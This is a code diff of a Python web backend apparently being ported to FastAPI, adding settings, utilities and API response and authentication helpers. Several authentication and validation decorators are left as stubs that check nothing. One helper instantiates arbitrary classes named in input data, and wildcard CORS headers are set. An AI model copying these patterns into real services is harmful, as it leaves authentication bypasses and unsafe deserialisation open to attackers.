_parse_model_entry(LLM_DEFAULT_MODELS.get("rerank_model", RERANK_MDL)) + asr_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("asr_model", ASR_MDL)) + image2text_entry = _parse_model_entry(LLM_DEFAULT_MODELS.get("image2text_model", IMAGE2TEXT_MDL)) + + CHAT_CFG = _resolve_per_model_config(chat_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL) + EMBEDDING_CFG = _resolve_per_model_config(embedding_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL) + RERANK_CFG = _resolve_per_model_config(rerank_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL) + ASR_CFG = _resolve_per_model_config(asr_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL) + IMAGE2TEXT_CFG = _resolve_per_model_config(image2text_entry, LLM_FACTORY, API_KEY, LLM_BASE_URL) + + CHAT_MDL = CHAT_CFG.get("model", "") or "" + EMBEDDING_MDL = EMBEDDING_CFG.get("model", "") or "" + RERANK_MDL = RERANK_CFG.get("model", "") or "" + ASR_MDL = ASR_CFG.get("model", "") or "" + IMAGE2TEXT_MDL = IMAGE2TEXT_CFG.get("model", "") or "" + + HOST_IP = get_base_config(RAG_FLOW_SERVICE_NAME, {}).get("host", "127.0.0.1") + HOST_PORT = get_base_config(RAG_FLOW_SERVICE_NAME, {}).get("http_port") + + SECRET_KEY = get_or_create_secret_key() + + global AUTHENTICATION_CONF, CLIENT_AUTHENTICATION, HTTP_APP_KEY, GITHUB_OAUTH, FEISHU_OAUTH, OAUTH_CONFIG + # authentication + AUTHENTICATION_CONF = get_base_config("authentication", {}) + + # client + CLIENT_AUTHENTICATION = AUTHENTICATION_CONF.get("client", {}).get("switch", False) + HTTP_APP_KEY = AUTHENTICATION_CONF.get("client", {}).get("http_app_key") + GITHUB_OAUTH = get_base_config("oauth", {}).get("github") + FEISHU_OAUTH = get_base_config("oauth", {}).get("feishu") + + OAUTH_CONFIG = get_base_config("oauth", {}) + + global DOC_ENGINE, docStoreConn, retrievaler, kg_retrievaler + DOC_ENGINE = os.environ.get("DOC_ENGINE", "elasticsearch") + # DOC_ENGINE = os.environ.get('DOC_ENGINE', "opensearch") + lower_case_doc_engine = DOC_ENGINE.lower() + if lower_case_doc_engine == "elasticsearch": + docStoreConn = rag.utils.es_conn.ESConnection() + elif lower_case_doc_engine == "infinity": + docStoreConn = rag.utils.infinity_conn.InfinityConnection() + elif lower_case_doc_engine == "opensearch": + docStoreConn = rag.utils.opensearch_conn.OSConnection() + else: + raise Exception(f"Not supported doc engine: {DOC_ENGINE}") + + retrievaler = search.Dealer(docStoreConn) + from graphrag import search as kg_search + + kg_retrievaler = kg_search.KGSearch(docStoreConn) + + if int(os.environ.get("SANDBOX_ENABLED", "0")): + global SANDBOX_HOST + SANDBOX_HOST = os.environ.get("SANDBOX_HOST", "sandbox-executor-manager") + + global SMTP_CONF, MAIL_SERVER, MAIL_PORT, MAIL_USE_SSL, MAIL_USE_TLS + global MAIL_USERNAME, MAIL_PASSWORD, MAIL_DEFAULT_SENDER, MAIL_FRONTEND_URL + SMTP_CONF = get_base_config("smtp", {}) + + MAIL_SERVER = SMTP_CONF.get("mail_server", "") + MAIL_PORT = SMTP_CONF.get("mail_port", 000) + MAIL_USE_SSL = SMTP_CONF.get("mail_use_ssl", True) + MAIL_USE_TLS = SMTP_CONF.get("mail_use_tls", False) + MAIL_USERNAME = SMTP_CONF.get("mail_username", "") + MAIL_PASSWORD = SMTP_CONF.get("mail_password", "") + mail_default_sender = SMTP_CONF.get("mail_default_sender", []) + if mail_default_sender and len(mail_default_sender) >= 2: + MAIL_DEFAULT_SENDER = (mail_default_sender[0], mail_default_sender[1]) + MAIL_FRONTEND_URL = SMTP_CONF.get("mail_frontend_url", "") + + +class CustomEnum(Enum): + @classmethod + def valid(cls, value): + try: + cls(value) + return True + except BaseException: + return False + + @classmethod + def values(cls): + return [member.value for member in cls.__members__.values()] + + @classmethod + def names(cls): + return [member.name for member in cls.__members__.values()] + + +class RetCode(IntEnum, CustomEnum): + SUCCESS = 0 + NOT_EFFECTIVE = 10 + EXCEPTION_ERROR = 100 + ARGUMENT_ERROR = 101 + DATA_ERROR = 102 + OPERATING_ERROR = 103 + CONNECTION_ERROR = 105 + RUNNING = 106 + PERMISSION_ERROR = 108 + AUTHENTICATION_ERROR = 109 + UNAUTHORIZED = 401 + SERVER_ERROR = 500 + FORBIDDEN = 403 + NOT_FOUND = 404 + + +def _parse_model_entry(entry): + if isinstance(entry, str): + return {"name": entry, "factory": None, "api_key": None, "base_url": None} + if isinstance(entry, dict): + name = entry.get("name") or entry.get("model") or "" + return { + "name": name, + "factory": entry.get("factory"), + "api_key": entry.get("api_key"), + "base_url": entry.get("base_url"), + } + return {"name": "", "factory": None, "api_key": None, "base_url": None} + + +def _resolve_per_model_config(entry_dict, backup_factory, backup_api_key, backup_base_url): + name = (entry_dict.get("name") or "").strip() + m_factory = entry_dict.get("factory") or backup_factory or "" + m_api_key = entry_dict.get("api_key") or backup_api_key or "" + m_base_url = entry_dict.get("base_url") or backup_base_url or "" + + if name and "@" not in name and m_factory: + name = f"{name}@{m_factory}" + + return { + "model": name, + "factory": m_factory, + "api_key": m_api_key, + "base_url": m_base_url, + } diff --git a/api/utils/__init__.py b/api/utils/__init__.py new file mode 100644 index 0000000..e0f8a56 --- /dev/null +++ b/api/utils/__init__.py @@ -0,0 +1,132 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import datetime +import hashlib +import os +import socket +import time +import uuid +import requests + +import importlib + +from .common import string_to_bytes + + +def current_timestamp(): + return int(time.time() * 1000) + + +def timestamp_to_date(timestamp, format_string="%Y-%m-%d %H:%M:%S"): + if not timestamp: + timestamp = time.time() + timestamp = int(timestamp) / 1000 + time_array = time.localtime(timestamp) + str_date = time.strftime(format_string, time_array) + return str_date + + +def date_string_to_timestamp(time_str, format_string="%Y-%m-%d %H:%M:%S"): + time_array = time.strptime(time_str, format_string) + time_stamp = int(time.mktime(time_array) * 1000) + return time_stamp + + +def get_lan_ip(): + if os.name != "nt": + import fcntl + import struct + + def get_interface_ip(ifname): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + return socket.inet_ntoa( + fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', string_to_bytes(ifname[:15])))[20:24]) + + ip = socket.gethostbyname(socket.getfqdn()) + if ip.startswith("127.") and os.name != "nt": + interfaces = [ + "bond1", + "eth0", + "eth1", + "eth2", + "wlan0", + "wlan1", + "wifi0", + "ath0", + "ath1", + "ppp0", + ] + for ifname in interfaces: + try: + ip = get_interface_ip(ifname) + break + except IOError: + pass + return ip or '' + + +def from_dict_hook(in_dict: dict): + if "type" in in_dict and "data" in in_dict: + if in_dict["module"] is None: + return in_dict["data"] + else: + return getattr(importlib.import_module( + in_dict["module"]), in_dict["type"])(**in_dict["data"]) + else: + return in_dict + + +def get_uuid(): + return uuid.uuid1().hex + + +def datetime_format(date_time: datetime.datetime) -> datetime.datetime: + return datetime.datetime(date_time.year, date_time.month, date_time.day, + date_time.hour, date_time.minute, date_time.second) + + +def get_format_time() -> datetime.datetime: + return datetime_format(datetime.datetime.now()) + + +def str2date(date_time: str): + return datetime.datetime.strptime(date_time, '%Y-%m-%d') + + +def elapsed2time(elapsed): + seconds = elapsed / 1000 + minuter, second = divmod(seconds, 60) + hour, minuter = divmod(minuter, 60) + return '%02d:%02d:%02d' % (hour, minuter, second) + + +def download_img(url): + if not url: + return "" + response = requests.get(url) + return "data:" + \ + response.headers.get('Content-Type', 'image/jpg') + ";" + \ + "base64," + base64.b64encode(response.content).decode("utf-8") + + +def delta_seconds(date_string: str): + dt = datetime.datetime.strptime(date_string, "%Y-%m-%d %H:%M:%S") + return (datetime.datetime.now() - dt).total_seconds() + + +def hash_str2int(line: str, mod: int = 10 ** 8) -> int: + return int(hashlib.sha1(line.encode("utf-8")).hexdigest(), 16) % mod diff --git a/api/utils/api_utils.py b/api/utils/api_utils.py new file mode 100644 index 0000000..5379ce1 --- /dev/null +++ b/api/utils/api_utils.py @@ -0,0 +1,873 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import asyncio +import functools +import json +import logging +import os +import queue +import random +import threading +import time +from base64 import b64encode +from copy import deepcopy +from functools import wraps +from hmac import HMAC +from io import BytesIO +from typing import Any, Callable, Coroutine, Optional, Type, Union +from urllib.parse import quote, urlencode +from uuid import uuid1 + +import requests +import trio +# FastAPI imports +from fastapi import Request, Response as FastAPIResponse, HTTPException, status +from fastapi.responses import JSONResponse, FileResponse, StreamingResponse +from fastapi import Depends +from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials +from itsdangerous import URLSafeTimedSerializer +from peewee import OperationalError +from werkzeug.http import HTTP_STATUS_CODES + +from api import settings +from api.constants import REQUEST_MAX_WAIT_SEC, REQUEST_WAIT_SEC +from api.db import ActiveEnum +from api.db.db_models import APIToken +from api.db.services import UserService +from api.db.services.llm_service import LLMService +from api.db.services.tenant_llm_service import TenantLLMService +from api.utils.json import CustomJSONEncoder, json_dumps + +# FastAPI 安全方案 +security = HTTPBearer() +from api.utils import get_uuid +from rag.utils.mcp_tool_call_conn import MCPToolCallSession, close_multiple_mcp_toolcall_sessions + +requests.models.complexjson.dumps = functools.partial(json.dumps, cls=CustomJSONEncoder) + +def serialize_for_json(obj): + """ + Recursively serialize objects to make them JSON serializable. + Handles ModelMetaclass and other non-serializable objects. + """ + if hasattr(obj, '__dict__'): + # For objects with __dict__, try to serialize their attributes + try: + return {key: serialize_for_json(value) for key, value in obj.__dict__.items() + if not key.startswith('_')} + except (AttributeError, TypeError): + return str(obj) + elif hasattr(obj, '__name__'): + # For classes and metaclasses, return their name + return f"<{obj.__module__}.{obj.__name__}>" if hasattr(obj, '__module__') else f"<{obj.__name__}>" + elif isinstance(obj, (list, tuple)): + return [serialize_for_json(item) for item in obj] + elif isinstance(obj, dict): + return {key: serialize_for_json(value) for key, value in obj.items()} + elif isinstance(obj, (str, int, float, bool)) or obj is None: + return obj + else: + # Fallback: convert to string representation + return str(obj) + +def request(**kwargs): + sess = requests.Session() + stream = kwargs.pop("stream", sess.stream) + timeout = kwargs.pop("timeout", None) + kwargs["headers"] = {k.replace("_", "-").upper(): v for k, v in kwargs.get("headers", {}).items()} + prepped = requests.Request(**kwargs).prepare() + + if settings.CLIENT_AUTHENTICATION and settings.HTTP_APP_KEY and settings.SECRET_KEY: + timestamp = str(round(time() * 1000)) + nonce = str(uuid1()) + signature = b64encode( + HMAC( + settings.SECRET_KEY.encode("ascii"), + b"\n".join( + [ + timestamp.encode("ascii"), + nonce.encode("ascii"), + settings.HTTP_APP_KEY.encode("ascii"), + prepped.path_url.encode("ascii"), + prepped.body if kwargs.get("json") else b"", + urlencode(sorted(kwargs["data"].items()), quote_via=quote, safe="-._~").encode("ascii") if kwargs.get("data") and isinstance(kwargs["data"], dict) else b"", + ] + ), + "sha1", + ).digest() + ).decode("ascii") + + prepped.headers.update( + { + "TIMESTAMP": timestamp, + "NONCE": nonce, + "APP-KEY": settings.HTTP_APP_KEY, + "SIGNATURE": signature, + } + ) + + return sess.send(prepped, stream=stream, timeout=timeout) + + +def get_exponential_backoff_interval(retries, full_jitter=False): + """Calculate the exponential backoff wait time.""" + # Will be zero if factor equals 0 + countdown = min(REQUEST_MAX_WAIT_SEC, REQUEST_WAIT_SEC * (2**retries)) + # Full jitter according to + # https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/ + if full_jitter: + countdown = random.randrange(countdown + 1) + # Adjust according to maximum wait time and account for negative values. + return max(0, countdown) + + +def get_data_error_result(code=settings.RetCode.DATA_ERROR, message="Sorry! Data missing!"): + logging.exception(Exception(message)) + result_dict = {"code": code, "message": message} + response = {} + for key, value in result_dict.items(): + if value is None and key != "code": + continue + else: + response[key] = value + return JSONResponse(content=response) + + +def server_error_response(e): + logging.exception(e) + try: + if e.code == 401: + return get_json_result(code=401, message=repr(e)) + except BaseException: + pass + if len(e.args) > 1: + try: + serialized_data = serialize_for_json(e.args[1]) + return get_json_result(code= settings.RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=serialized_data) + except Exception: + return get_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=None) + if repr(e).find("index_not_found_exception") >= 0: + return get_json_result(code=settings.RetCode.EXCEPTION_ERROR, message="No chunk found, please upload file and parse it.") + + return get_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e)) + + +def error_response(response_code, message=None): + if message is None: + message = HTTP_STATUS_CODES.get(response_code, "Unknown Error") + + return JSONResponse( + content={ + "message": message, + "code": response_code, + }, + status_code=response_code, + ) + + +# FastAPI 版本：使用 Pydantic 模型进行验证，而不是装饰器 +# 这个装饰器在 FastAPI 中不再需要，因为 FastAPI 会自动验证 Pydantic 模型 +def validate_request(*args, **kwargs): + """ + 废弃的装饰器：在 FastAPI 中使用 Pydantic 模型进行验证 + 这个函数保留是为了向后兼容，但不会执行任何验证 + """ + def wrapper(func): + @wraps(func) + def decorated_function(*_args, **_kwargs): + # FastAPI 中不需要手动验证，Pydantic 会自动处理 + return func(*_args, **_kwargs) + return decorated_function + return wrapper + + +def not_allowed_parameters(*params): + """ + 废弃的装饰器：在 FastAPI 中使用 Pydantic 模型进行验证 + 这个函数保留是为了向后兼容，但不会执行任何验证 + """ + def decorator(f): + def wrapper(*args, **kwargs): + # FastAPI 中不需要手动验证，Pydantic 会自动处理 + return f(*args, **kwargs) + return wrapper + return decorator + + +def active_required(f): + """ + 废弃的装饰器：在 FastAPI 中使用依赖注入进行用户验证 + 这个函数保留是为了向后兼容，但不会执行任何验证 + """ + @wraps(f) + def wrapper(*args, **kwargs): + # FastAPI 中使用依赖注入进行用户验证 + return f(*args, **kwargs) + return wrapper + + +def is_localhost(ip): + return ip in {"127.0.0.1", "::1", "[::1]", "localhost"} + + +def send_file_in_mem(data, filename): + """ + 发送内存中的文件数据 + 注意：在 FastAPI 中，这个函数需要接收 Request 参数来正确处理响应 + """ + if not isinstance(data, (str, bytes)): + data = json_dumps(data) + if isinstance(data, str): + data = data.encode("utf-8") + + f = BytesIO() + f.write(data) + f.seek(0) + + # 在 FastAPI 中，应该使用 FileResponse 或 StreamingResponse + # 这里返回文件对象，调用者需要处理响应 + return f + + +def get_json_result(code=settings.RetCode.SUCCESS, message="success", data=None): + response = {"code": code, "message": message, "data": data} + return JSONResponse(content=response) + + +def apikey_required(func): + """ + 废弃的装饰器：在 FastAPI 中使用依赖注入进行 API Key 验证 + 这个函数保留是为了向后兼容，但不会执行任何验证 + """ + @wraps(func) + def decorated_function(*args, **kwargs): + # FastAPI 中使用依赖注入进行 API Key 验证 + return func(*args, **kwargs) + return decorated_function + + +def build_error_result(code=settings.RetCode.FORBIDDEN, message="success"): + response = {"code": code, "message": message} + return JSONResponse(content=response, status_code=code) + + +def construct_response(code=settings.RetCode.SUCCESS, message="success", data=None, auth=None): + result_dict = {"code": code, "message": message, "data": data} + response_dict = {} + for key, value in result_dict.items(): + if value is None and key != "code": + continue + else: + response_dict[key] = value + + headers = { + "Access-Control-Allow-Origin": "*", + "Access-Control-Allow-Method": "*", + "Access-Control-Allow-Headers": "*", + "Access-Control-Expose-Headers": "Authorization" + } + if auth: + headers["Authorization"] = auth + + return JSONResponse(content=response_dict, headers=headers) + + +def construct_result(code=settings.RetCode.DATA_ERROR, message="data is missing"): + result_dict = {"code": code, "message": message} + response = {} + for key, value in result_dict.items(): + if value is None and key != "code": + continue + else: + response[key] = value + return JSONResponse(content=response) + + +def construct_json_result(code=settings.RetCode.SUCCESS, message="success", data=None): + if data is None: + return JSONResponse(content={"code": code, "message": message}) + else: + return JSONResponse(content={"code": code, "message": message, "data": data}) + + +def construct_error_response(e): + logging.exception(e) + try: + if e.code == 401: + return construct_json_result(code=settings.RetCode.UNAUTHORIZED, message=repr(e)) + except BaseException: + pass + if len(e.args) > 1: + return construct_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=e.args[1]) + return construct_json_result(code=settings.RetCode.EXCEPTION_ERROR, message=repr(e)) + + +def token_required(func): + """ + 废弃的装饰器：在 FastAPI 中使用依赖注入进行 Token 验证 + 这个函数保留是为了向后兼容，但不会执行任何验证 + """ + @wraps(func) + def decorated_function(*args, **kwargs): + # FastAPI 中使用依赖注入进行 Token 验证 + return func(*args, **kwargs) + return decorated_function + + +def get_result(code=settings.RetCode.SUCCESS, message="", data=None): + if code == 0: + if data is not None: + response = {"code": code, "data": data} + else: + response = {"code": code} + else: + response = {"code": code, "message": message} + return JSONResponse(content=response) + + +def get_error_data_result( + message="Sorry! Data missing!", + code=settings.RetCode.DATA_ERROR, +): + result_dict = {"code": code, "message": message} + response = {} + for key, value in result_dict.items(): + if value is None and key != "code": + continue + else: + response[key] = value + return JSONResponse(content=response) + + +def get_error_argument_result(message="Invalid arguments"): + return get_result(code=settings.RetCode.ARGUMENT_ERROR, message=message) + + +# FastAPI 依赖注入函数 +async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)): + """获取当前用户 - FastAPI 版本""" + from api.db import StatusEnum + try: + jwt = URLSafeTimedSerializer(secret_key=settings.SECRET_KEY) + authorization = credentials.credentials + + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication attempt with empty access token" + ) + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication attempt with invalid token format: {len(access_token)} chars" + ) + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication attempt with empty access token" + ) + return user[0] + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication failed: Invalid access token" + ) + except Exception as e: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication failed: {str(e)}" + ) + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication failed: No authorization header" + ) + except Exception as e: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication failed: {str(e)}" + ) + + +async def get_current_user_optional(credentials: HTTPAuthorizationCredentials = Depends(security)): + """获取当前用户（可选）- FastAPI 版本""" + try: + return await get_current_user(credentials) + except HTTPException: + return None + + +async def verify_api_key(credentials: HTTPAuthorizationCredentials = Depends(security)): + """验证 API Key - FastAPI 版本""" + try: + token = credentials.credentials + objs = APIToken.query(token=token) + if not objs: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail="API-KEY is invalid!" + ) + return objs[0] + except Exception as e: + raise HTTPException( + status_code=status.HTTP_403_FORBIDDEN, + detail=f"API Key verification failed: {str(e)}" + ) + + +def create_file_response(data, filename: str, media_type: str = "application/octet-stream"): + """创建文件响应 - FastAPI 版本""" + if not isinstance(data, (str, bytes)): + data = json_dumps(data) + if isinstance(data, str): + data = data.encode("utf-8") + + return StreamingResponse( + BytesIO(data), + media_type=media_type, + headers={"Content-Disposition": f"attachment; filename={filename}"} + ) + + +def get_error_permission_result(message="Permission error"): + return get_result(code=settings.RetCode.PERMISSION_ERROR, message=message) + + +def get_error_operating_result(message="Operating error"): + return get_result(code=settings.RetCode.OPERATING_ERROR, message=message) + + +def generate_confirmation_token(tenant_id): + serializer = URLSafeTimedSerializer(tenant_id) + return "ragflow-" + serializer.dumps(get_uuid(), salt=tenant_id)[2:34] + + +def get_parser_config(chunk_method, parser_config): + if not chunk_method: + chunk_method = "naive" + + # Define default configurations for each chunking method + key_mapping = { + "naive": {"chunk_token_num": 512, "delimiter": r"\n", "html4excel": False, "layout_recognize": "DeepDOC", "raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "qa": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "tag": None, + "resume": None, + "manual": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "table": None, + "paper": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "book": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "laws": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "presentation": {"raptor": {"use_raptor": False}, "graphrag": {"use_graphrag": False}}, + "one": None, + "knowledge_graph": { + "chunk_token_num": 8192, + "delimiter": r"\n", + "entity_types": ["organization", "person", "location", "event", "time"], + "raptor": {"use_raptor": False}, + "graphrag": {"use_graphrag": False}, + }, + "email": None, + "picture": None, + } + + default_config = key_mapping[chunk_method] + + # If no parser_config provided, return default + if not parser_config: + return default_config + + # If parser_config is provided, merge with defaults to ensure required fields exist + if default_config is None: + return parser_config + + # Ensure raptor and graphrag fields have default values if not provided + merged_config = deep_merge(default_config, parser_config) + + return merged_config + + +def get_data_openai( + id=None, + created=None, + model=None, + prompt_tokens=0, + completion_tokens=0, + content=None, + finish_reason=None, + object="chat.completion", + param=None, + stream=False +): + total_tokens = prompt_tokens + completion_tokens + + if stream: + return { + "id": f"{id}", + "object": "chat.completion.chunk", + "model": model, + "choices": [{ + "delta": {"content": content}, + "finish_reason": finish_reason, + "index": 0, + }], + } + + return { + "id": f"{id}", + "object": object, + "created": int(time.time()) if created else None, + "model": model, + "param": param, + "usage": { + "prompt_tokens": prompt_tokens, + "completion_tokens": completion_tokens, + "total_tokens": total_tokens, + "completion_tokens_details": { + "reasoning_tokens": 0, + "accepted_prediction_tokens": 0, + "rejected_prediction_tokens": 0, + }, + }, + "choices": [{ + "message": { + "role": "assistant", + "content": content + }, + "logprobs": None, + "finish_reason": finish_reason, + "index": 0, + }], + } + + +def check_duplicate_ids(ids, id_type="item"): + """ + Check for duplicate IDs in a list and return unique IDs and error messages. + + Args: + ids (list): List of IDs to check for duplicates + id_type (str): Type of ID for error messages (e.g., 'document', 'dataset', 'chunk') + + Returns: + tuple: (unique_ids, error_messages) + - unique_ids (list): List of unique IDs + - error_messages (list): List of error messages for duplicate IDs + """ + id_count = {} + duplicate_messages = [] + + # Count occurrences of each ID + for id_value in ids: + id_count[id_value] = id_count.get(id_value, 0) + 1 + + # Check for duplicates + for id_value, count in id_count.items(): + if count > 1: + duplicate_messages.append(f"Duplicate {id_type} ids: {id_value}") + + # Return unique IDs and error messages + return list(set(ids)), duplicate_messages + + +def verify_embedding_availability(embd_id: str, tenant_id: str) -> tuple[bool, JSONResponse | None]: + """ + Verifies availability of an embedding model for a specific tenant. + + Performs comprehensive verification through: + 1. Identifier Parsing: Decomposes embd_id into name and factory components + 2. System Verification: Checks model registration in LLMService + 3. Tenant Authorization: Validates tenant-specific model assignments + 4. Built-in Model Check: Confirms inclusion in predefined system models + + Args: + embd_id (str): Unique identifier for the embedding model in format "model_name@factory" + tenant_id (str): Tenant identifier for access control + + Returns: + tuple[bool, Response | None]: + - First element (bool): + - True: Model is available and authorized + - False: Validation failed + - Second element contains: + - None on success + - Error detail dict on failure + + Raises: + ValueError: When model identifier format is invalid + OperationalError: When database connection fails (auto-handled) + + Examples: + >>> verify_embedding_availability("text-embedding@openai", "tenant_123") + (True, None) + + >>> verify_embedding_availability("invalid_model", "tenant_123") + (False, {'code': 101, 'message': "Unsupported model: "}) + """ + try: + llm_name, llm_factory = TenantLLMService.split_model_name_and_factory(embd_id) + in_llm_service = bool(LLMService.query(llm_name=llm_name, fid=llm_factory, model_type="embedding")) + + tenant_llms = TenantLLMService.get_my_llms(tenant_id=tenant_id) + is_tenant_model = any(llm["llm_name"] == llm_name and llm["llm_factory"] == llm_factory and llm["model_type"] == "embedding" for llm in tenant_llms) + + is_builtin_model = embd_id in settings.BUILTIN_EMBEDDING_MODELS + if not (is_builtin_model or is_tenant_model or in_llm_service): + return False, get_error_argument_result(f"Unsupported model: <{embd_id}>") + + if not (is_builtin_model or is_tenant_model): + return False, get_error_argument_result(f"Unauthorized model: <{embd_id}>") + except OperationalError as e: + logging.exception(e) + return False, get_error_data_result(message="Database operation failed") + + return True, None + + +def deep_merge(default: dict, custom: dict) -> dict: + """ + Recursively merges two dictionaries with priority given to `custom` values. + + Creates a deep copy of the `default` dictionary and iteratively merges nested + dictionaries using a stack-based approach. Non-dict values in `custom` will + completely override corresponding entries in `default`. + + Args: + default (dict): Base dictionary containing default values. + custom (dict): Dictionary containing overriding values. + + Returns: + dict: New merged dictionary combining values from both inputs. + + Example: + >>> from copy import deepcopy + >>> default = {"a": 1, "nested": {"x": 10, "y": 20}} + >>> custom = {"b": 2, "nested": {"y": 99, "z": 30}} + >>> deep_merge(default, custom) + {'a': 1, 'b': 2, 'nested': {'x': 10, 'y': 99, 'z': 30}} + + >>> deep_merge({"config": {"mode": "auto"}}, {"config": "manual"}) + {'config': 'manual'} + + Notes: + 1. Merge priority is always given to `custom` values at all nesting levels + 2. Non-dict values (e.g. list, str) in `custom` will replace entire values + in `default`, even if the original value was a dictionary + 3. Time complexity: O(N) where N is total key-value pairs in `custom` + 4. Recommended for configuration merging and nested data updates + """ + merged = deepcopy(default) + stack = [(merged, custom)] + + while stack: + base_dict, override_dict = stack.pop() + + for key, val in override_dict.items(): + if key in base_dict and isinstance(val, dict) and isinstance(base_dict[key], dict): + stack.append((base_dict[key], val)) + else: + base_dict[key] = val + + return merged + + +def remap_dictionary_keys(source_data: dict, key_aliases: dict = None) -> dict: + """ + Transform dictionary keys using a configurable mapping schema. + + Args: + source_data: Original dictionary to process + key_aliases: Custom key transformation rules (Optional) + When provided, overrides default key mapping + Format: {: , ...} + + Returns: + dict: New dictionary with transformed keys preserving original values + + Example: + >>> input_data = {"old_key": "value", "another_field": 42} + >>> remap_dictionary_keys(input_data, {"old_key": "new_key"}) + {'new_key': 'value', 'another_field': 42} + """ + DEFAULT_KEY_MAP = { + "chunk_num": "chunk_count", + "doc_num": "document_count", + "parser_id": "chunk_method", + "embd_id": "embedding_model", + } + + transformed_data = {} + mapping = key_aliases or DEFAULT_KEY_MAP + + for original_key, value in source_data.items(): + mapped_key = mapping.get(original_key, original_key) + transformed_data[mapped_key] = value + + return transformed_data + + +def group_by(list_of_dict, key): + res = {} + for item in list_of_dict: + if item[key] in res.keys(): + res[item[key]].append(item) + else: + res[item[key]] = [item] + return res + + +def get_mcp_tools(mcp_servers: list, timeout: float | int = 10) -> tuple[dict, str]: + results = {} + tool_call_sessions = [] + try: + for mcp_server in mcp_servers: + server_key = mcp_server.id + + cached_tools = mcp_server.variables.get("tools", {}) + + tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables) + tool_call_sessions.append(tool_call_session) + + try: + tools = tool_call_session.get_tools(timeout) + except Exception: + tools = [] + + results[server_key] = [] + for tool in tools: + tool_dict = tool.model_dump() + cached_tool = cached_tools.get(tool_dict["name"], {}) + + tool_dict["enabled"] = cached_tool.get("enabled", True) + results[server_key].append(tool_dict) + + # PERF: blocking call to close sessions — consider moving to background thread or task queue + close_multiple_mcp_toolcall_sessions(tool_call_sessions) + return results, "" + except Exception as e: + return {}, str(e) + + +TimeoutException = Union[Type[BaseException], BaseException] +OnTimeoutCallback = Union[Callable[..., Any], Coroutine[Any, Any, Any]] + + +def timeout(seconds: float | int | str = None, attempts: int = 2, *, exception: Optional[TimeoutException] = None, on_timeout: Optional[OnTimeoutCallback] = None): + if isinstance(seconds, str): + seconds = float(seconds) + def decorator(func): + @wraps(func) + def wrapper(*args, **kwargs): + result_queue = queue.Queue(maxsize=1) + + def target(): + try: + result = func(*args, **kwargs) + result_queue.put(result) + except Exception as e: + result_queue.put(e) + + thread = threading.Thread(target=target) + thread.daemon = True + thread.start() + + for a in range(attempts): + try: + if os.environ.get("ENABLE_TIMEOUT_ASSERTION"): + result = result_queue.get(timeout=seconds) + else: + result = result_queue.get() + if isinstance(result, Exception): + raise result + return result + except queue.Empty: + pass + raise TimeoutError(f"Function '{func.__name__}' timed out after {seconds} seconds and {attempts} attempts.") + + @wraps(func) + async def async_wrapper(*args, **kwargs) -> Any: + if seconds is None: + return await func(*args, **kwargs) + + for a in range(attempts): + try: + if os.environ.get("ENABLE_TIMEOUT_ASSERTION"): + with trio.fail_after(seconds): + return await func(*args, **kwargs) + else: + return await func(*args, **kwargs) + except trio.TooSlowError: + if a < attempts - 1: + continue + if on_timeout is not None: + if callable(on_timeout): + result = on_timeout() + if isinstance(result, Coroutine): + return await result + return result + return on_timeout + + if exception is None: + raise TimeoutError(f"Operation timed out after {seconds} seconds and {attempts} attempts.") + + if isinstance(exception, BaseException): + raise exception + + if isinstance(exception, type) and issubclass(exception, BaseException): + raise exception(f"Operation timed out after {seconds} seconds and {attempts} attempts.") + + raise RuntimeError("Invalid exception type provided") + + if asyncio.iscoroutinefunction(func): + return async_wrapper + return wrapper + + 